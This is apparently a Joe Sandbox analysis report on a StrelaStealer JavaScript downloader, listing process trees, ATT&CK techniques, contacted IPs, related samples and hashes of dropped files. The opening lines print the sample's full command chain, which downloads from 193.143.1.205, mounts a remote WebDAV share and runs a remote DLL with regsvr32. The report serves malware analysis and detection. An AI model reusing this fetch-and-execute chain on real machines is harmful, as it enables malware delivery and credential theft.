Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
173992455338126060.js	5%	Virustotal		Browse
173992455338126060.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://193.143.1.205:8888/H	net.exe, 00000006.00000003.1750332877.0000023B4A05B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754874773.0000023B4A05B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false	high
http://crl.ver)	svchost.exe, 00000008.00000002.2971027286.0000026804C00000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1752237054.0000026804EC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1749074220.0000023B4A07B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754817040.0000023B4A028000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1750332877.0000023B4A05B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754874773.0000023B4A07D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754874773.0000023B4A05B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1752237054.0000026804EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588888
Start date and time:	2025-01-11 06:43:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	173992455338126060.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 3.233.129.217, 3.219.243.226, 52.6.155.20, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.23.197.184, 23.209.209.135, 20.12.23.50, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:44:54	API Interceptor	22x Sleep call for process: powershell.exe modified
00:44:58	API Interceptor	1x Sleep call for process: net.exe modified
00:44:58	API Interceptor	2x Sleep call for process: svchost.exe modified
00:45:10	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073691804618723
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvru:KooCEYhgYEL0In
MD5:	89890F0F49AD5636F2007BD0EC43D399
SHA1:	4153D773B9E60302EC7C83BE80006320503F5CCD
SHA-256:	F38503D55AF2E5260A9BD02BC68A716328563E83BEB4C7613950B9B632D5DF3D
SHA-512:	64847526F7B358E398533E98F457AE452007AEAFFF7B4AA144378BE1931065DD0F0823DC944D406563E0D53A8CF8B9FC62B389D49A52DEE74F1C2135C1742C15
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7a079d7a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221550706009037
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	F9664251A1E38707F7D98230042CF4F4
SHA1:	C6506D85534093C416CF9DF5CE171AA9ABA9DD9D
SHA-256:	E9F471291BF00EC41A6682F310E837F88CA350E3871FD17E601C82D7DE948DE7
SHA-512:	001810B6499B7ACFFAC8835184FDE3574EBC48392DECF8F9735430DEF6D2EE8C27A3935204A0CC160F7ABDDF7364C3D2242A06936E49B0A251B6824D53BB0D7A
Malicious:	false
Preview:	z..z... .......A.......X\...;...{......................0.!..........{A.;,...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................B..U;,...}..................G.U7;,...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07693789839289306
Encrypted:	false
SSDEEP:	3:4+ltlKYepuukkjjn13a/oneJrkullcVO/lnlZMxZNQl:4+XlKzp7j53qonWwqOewk
MD5:	2E3E75B88C4ECD6F75780C289A5EA4C8
SHA1:	61E6828BAEA8B8BF6A61506EA91274021F8E1352
SHA-256:	197CA80BC9ED6C7DBD8010224D1598F67D40EDCA8C80894008B3EE02CA110EF8
SHA-512:	517F12BBD871FC723B6D4F3662949FCCABF112C4A4FCA613B8A2B5C1CF43EF94743A6DBDDF401DF75FFEEFA6286A9D64473A32B50710F36E3283DCE442EF32DB
Malicious:	false
Preview:	t..5.....................................;...{..;,...}.......{A..............{A......{A..........{A]................G.U7;,...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.18031549156519
Encrypted:	false
SSDEEP:	6:iOpcMeVq2Pwkn2nKuAl9OmbnIFUtfbdgZmwVbdIkwOwkn2nKuAl9OmbjLJ:7beVvYfHAahFUtxg/3I5JfHAaSJ
MD5:	5980A3B2F30B2D5902B235758398A21B
SHA1:	0FB647C5B9FCEF54DD9A2DB2C11B598C69201F1C
SHA-256:	EBEC3D2643741EB674F2EFC2DBC6D74324743CCC2C13632D0D55CA289AEF79A4
SHA-512:	019C2EAD9B93CDC09BBB7E58C6EB45DB596D05829069A7A00D3338C2204E5F7B460DC056DCCC82A5031AAAB2C287C41BA898CC6238A75486C79532CEA70AE7B9
Malicious:	false
Preview:	2025/01/11-00:44:58.500 1fd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:44:58.534 1fd4 Recovering log #3.2025/01/11-00:44:58.534 1fd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.18031549156519
Encrypted:	false
SSDEEP:	6:iOpcMeVq2Pwkn2nKuAl9OmbnIFUtfbdgZmwVbdIkwOwkn2nKuAl9OmbjLJ:7beVvYfHAahFUtxg/3I5JfHAaSJ
MD5:	5980A3B2F30B2D5902B235758398A21B
SHA1:	0FB647C5B9FCEF54DD9A2DB2C11B598C69201F1C
SHA-256:	EBEC3D2643741EB674F2EFC2DBC6D74324743CCC2C13632D0D55CA289AEF79A4
SHA-512:	019C2EAD9B93CDC09BBB7E58C6EB45DB596D05829069A7A00D3338C2204E5F7B460DC056DCCC82A5031AAAB2C287C41BA898CC6238A75486C79532CEA70AE7B9
Malicious:	false
Preview:	2025/01/11-00:44:58.500 1fd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:44:58.534 1fd4 Recovering log #3.2025/01/11-00:44:58.534 1fd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.166885023122516
Encrypted:	false
SSDEEP:	6:iOpUXcq2Pwkn2nKuAl9Ombzo2jMGIFUtfUozZZmwVU7FkwOwkn2nKuAl9Ombzo23:75vYfHAa8uFUtRN/G5JfHAa8RJ
MD5:	24EBEA9D9061E1A914272E36D8BA50A1
SHA1:	C93E891D951344D2CA189A9F9334CEECECD8958A
SHA-256:	91197B4BD7F0739BF8206E04F730981CA657223C6EC03D4BC8904321E4CB9F96
SHA-512:	21A0FD070BC864715180A7FA264F6E836E424AA7E611F5B6E7E44D40FA4B8FF710A6AE806376C99D34DAF96B5BD75EBCAF4871AD2E67A92231018526963A3E8C
Malicious:	false
Preview:	2025/01/11-00:44:58.583 1354 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:44:58.584 1354 Recovering log #3.2025/01/11-00:44:58.585 1354 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.166885023122516
Encrypted:	false
SSDEEP:	6:iOpUXcq2Pwkn2nKuAl9Ombzo2jMGIFUtfUozZZmwVU7FkwOwkn2nKuAl9Ombzo23:75vYfHAa8uFUtRN/G5JfHAa8RJ
MD5:	24EBEA9D9061E1A914272E36D8BA50A1
SHA1:	C93E891D951344D2CA189A9F9334CEECECD8958A
SHA-256:	91197B4BD7F0739BF8206E04F730981CA657223C6EC03D4BC8904321E4CB9F96
SHA-512:	21A0FD070BC864715180A7FA264F6E836E424AA7E611F5B6E7E44D40FA4B8FF710A6AE806376C99D34DAF96B5BD75EBCAF4871AD2E67A92231018526963A3E8C
Malicious:	false
Preview:	2025/01/11-00:44:58.583 1354 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:44:58.584 1354 Recovering log #3.2025/01/11-00:44:58.585 1354 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.957305475818466
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqn2sBdOg2H6caq3QYiubInP7E4T3y:Y2sRdsSdMH13QYhbG7nby
MD5:	7108A594BF1DA80EFCC603DF5E7A9689
SHA1:	11BD339D448942699521BA6DEFB5B59BEB72E69C
SHA-256:	61817C28947972D32CF1E377A9A9242683B32617F5BE3E96A2932ED02B24CCAF
SHA-512:	29360179B47753610BF3FA8A2943B26A2934B44BE7BE1BBBE122BA83F24B78CCBF5B83A7DDE7A0CF569C74671F5ECF8EAE57887EFB7D2EBD53EC6DABDC5109A7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134310634292","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133087},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\edec1275-2b15-496a-b68b-d1ca51d476e0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.957305475818466
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqn2sBdOg2H6caq3QYiubInP7E4T3y:Y2sRdsSdMH13QYhbG7nby
MD5:	7108A594BF1DA80EFCC603DF5E7A9689
SHA1:	11BD339D448942699521BA6DEFB5B59BEB72E69C
SHA-256:	61817C28947972D32CF1E377A9A9242683B32617F5BE3E96A2932ED02B24CCAF
SHA-512:	29360179B47753610BF3FA8A2943B26A2934B44BE7BE1BBBE122BA83F24B78CCBF5B83A7DDE7A0CF569C74671F5ECF8EAE57887EFB7D2EBD53EC6DABDC5109A7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134310634292","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133087},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.250773244981729
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7wsVJN:etJCV4FiN/jTN/2r8Mta02fEhgO73gor
MD5:	9CC87F672F30A1E87529856C5075BECB
SHA1:	8D7D372531DE31D9DB84647E6592A0A303553E7D
SHA-256:	52BBCF99970ECE6F39ED2D7E0F368BFC290936AB3826D69E93369BAC59FF4970
SHA-512:	39CB6DB794D65978CD164B716D68FDB2B796C7BE799B4C1A63C6FAFD8ACFD6BA935F35A16C1E5889988FD8C0FAE6A80F992EA17D006E90994490ED10D748F7F6
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180636260653179
Encrypted:	false
SSDEEP:	6:iOpKzBOq2Pwkn2nKuAl9OmbzNMxIFUtUVONZmwSVYzkwOwkn2nKuAl9OmbzNMFLJ:7AzBOvYfHAa8jFUtBN/V5JfHAa84J
MD5:	454EB16643F225D9E396AE9B31FAA3D0
SHA1:	F9A322F75CC77E597FDAC91CB3D13BE50746A760
SHA-256:	127FB49B591ECF6877D9F30B8A010AE3FABCA5FCD8D15E920060F8ECB7E75BE4
SHA-512:	293E95C67230CA24A7A2977658B555D569B1972A6C7C18D2761C61B06E8AFD2DBE87004C8BD9403D3B271DA936AB8448EF57324281A843D6925E0F1D1B6950A7
Malicious:	false
Preview:	2025/01/11-00:44:58.927 1354 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:44:59.022 1354 Recovering log #3.2025/01/11-00:44:59.024 1354 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180636260653179
Encrypted:	false
SSDEEP:	6:iOpKzBOq2Pwkn2nKuAl9OmbzNMxIFUtUVONZmwSVYzkwOwkn2nKuAl9OmbzNMFLJ:7AzBOvYfHAa8jFUtBN/V5JfHAa84J
MD5:	454EB16643F225D9E396AE9B31FAA3D0
SHA1:	F9A322F75CC77E597FDAC91CB3D13BE50746A760
SHA-256:	127FB49B591ECF6877D9F30B8A010AE3FABCA5FCD8D15E920060F8ECB7E75BE4
SHA-512:	293E95C67230CA24A7A2977658B555D569B1972A6C7C18D2761C61B06E8AFD2DBE87004C8BD9403D3B271DA936AB8448EF57324281A843D6925E0F1D1B6950A7
Malicious:	false
Preview:	2025/01/11-00:44:58.927 1354 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:44:59.022 1354 Recovering log #3.2025/01/11-00:44:59.024 1354 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444727467119978
Encrypted:	false
SSDEEP:	384:yezci5t2iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r5s3OazzU89UTTgUL
MD5:	31273E819A30896663809070F91EDB0E
SHA1:	A5E434823275E6A2AB9FAB536CE9752B9EF53844
SHA-256:	9EE29BC668AAC596D5B35ADD2195E51FABF106B467CEEEC41AA9E0B422491DAA
SHA-512:	74C8AE27DB65E40A2FD3BB6F449ED09FFBAEDAFB33D58E5FC2905E7FCCB7792D51E2CEB143F194ABA4ADD993FD7F8C593C4E0D25462602D769B4291E162838E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7731347058158042
Encrypted:	false
SSDEEP:	48:7M8p/E2ioyVDioy9oWoy1Cwoy1/KOioy1noy1AYoy1Wioy1hioybioyzoy1noy1B:7HpjuDFaXKQCqb9IVXEBodRBky
MD5:	96E7A707D3B67D36DA499A711AE2B5CA
SHA1:	1A6CA6053E161EACAE675C31D474E1C61DA00E4C
SHA-256:	42DD9A7A065CEA972D222BBC3A045093FB44E012C2BB8E81C1F3900B1FBB5379
SHA-512:	06E54A7321DC05CCDAEFADA27961712DCCA9D3CB6C0A29607ECAA0182EC380B6BFBE5B2936EC5836B262D9EDF5DC3402E865CA076EA371D45C5EF536E8FD4FD0
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
